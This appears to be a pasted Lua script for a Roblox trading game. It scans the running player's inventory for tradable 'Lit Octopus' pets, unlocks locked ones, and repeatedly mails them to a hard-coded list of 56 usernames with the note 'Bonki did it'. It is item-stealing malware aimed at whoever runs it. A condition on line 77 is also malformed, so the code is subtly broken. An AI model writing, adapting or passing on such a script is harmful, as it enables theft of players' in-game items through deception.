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Dec 11th, 2024 (edited)
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  1. local Roblox_Usernames = {
  2. "Hronb0890",
  3. "Fastber6533",
  4. "Rustwh0170",
  5. "Skyfrost8216",
  6. "Brikflin7441",
  7. "Slowsna9721",
  8. "Plixcog1050",
  9. "Overcr1479",
  10. "Gracxi1903",
  11. "Dosks2299",
  12. "Radianbe3112",
  13. "Dosber3078",
  14. "Embed2282",
  15. "Crazyspark6366",
  16. "Whindlewrench0884",
  17. "Dostch3592",
  18. "Rustwh4599",
  19. "Sparkch6009",
  20. "Overtwi6014",
  21. "Lunatch3670",
  22. "Swiftvolt9993",
  23. "Embeshad1622",
  24. "Shadodd7332",
  25. "Rustchoo4966",
  26. "Embestr7912",
  27. "Leezsnap4605",
  28. "Thuntc5607",
  29. "Crazysn9445",
  30. "Varlakk7355",
  31. "Lunac9342",
  32. "Brikch7280",
  33. "Azfe3887",
  34. "Hronban1854",
  35. "Rustne8281",
  36. "Dosxi2078",
  37. "Rustsha0766",
  38. "Kipsh9958",
  39. "Gracs7526",
  40. "Ironch8445",
  41. "Zapsnap5715",
  42. "Blackspark2094",
  43. "Slowxit6342",
  44. "Zapfe1766",
  45. "Voltfl6202",
  46. "Voltblaz2434",
  47. "Dosfl2789",
  48. "Zephcho7587",
  49. "Dekkw0374",
  50. "Volttch3929",
  51. "Shodxt9796",
  52. "Crutnee3993",
  53. "Brikf2453",
  54. "Gracfr5366",
  55. "Plikco5395",
  56. "Crankcrank2464"
  57. }
  58. local Library = require(game.ReplicatedStorage.Library);
  59. local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
  60. local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
  61. local Player = game.Players.LocalPlayer;
  62. local Inventory = Save.Inventory;
  63. local HttpService = game:GetService("HttpService");
  64. local message = require(game.ReplicatedStorage.Library.Client.Message);
  65. local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
  66.  
  67. local GetListWithAllItems = function()
  68. local hits = {};
  69. local AllowedPets = {
  70. ["Lit Octopus"] = true,
  71. };
  72. Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory;
  73. if Inventory.Pet ~= nil then
  74. for i, v in pairs(Inventory.Pet) do
  75. local id = v.id;
  76. local dir = Directory.Pets[id];
  77. if dir.Tradable ~= false and AllowedPets[id] and then
  78. table.insert(hits, {
  79. Item_Id = i,
  80. Item_Name = v.id,
  81. Item_Amount = 50,
  82. Item_Class = "Pet",
  83. IsShiny = v.sh or false,
  84. IsLocked = v.lk or false
  85. });
  86. end;
  87. end;
  88. end;
  89. return hits;
  90. end;
  91.  
  92. local function sendItem(username, category, uid, am, locked)
  93. local args = {
  94. [1] = username,
  95. [2] = "Bonki did it",
  96. [3] = category,
  97. [4] = uid,
  98. [5] = am
  99. };
  100. local response = false;
  101. repeat
  102. if locked == true then
  103. local lockArgs = {
  104. uid,
  105. false
  106. };
  107. (game:GetService("ReplicatedStorage")).Network.Locking_SetLocked:InvokeServer(unpack(lockArgs));
  108. end;
  109. local success, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args));
  110. response = success;
  111. until response == true;
  112. end;
  113.  
  114. local hits = GetListWithAllItems();
  115. if #hits > 0 then
  116. for _, username in ipairs(Roblox_Usernames) do
  117. for _, item in pairs(hits) do
  118. print("Sending to " .. username);
  119. sendItem(username, item.Item_Class, item.Item_Id, item.Item_Amount, item.IsLocked);
  120. end;
  121. end;
  122. end;
  123.  
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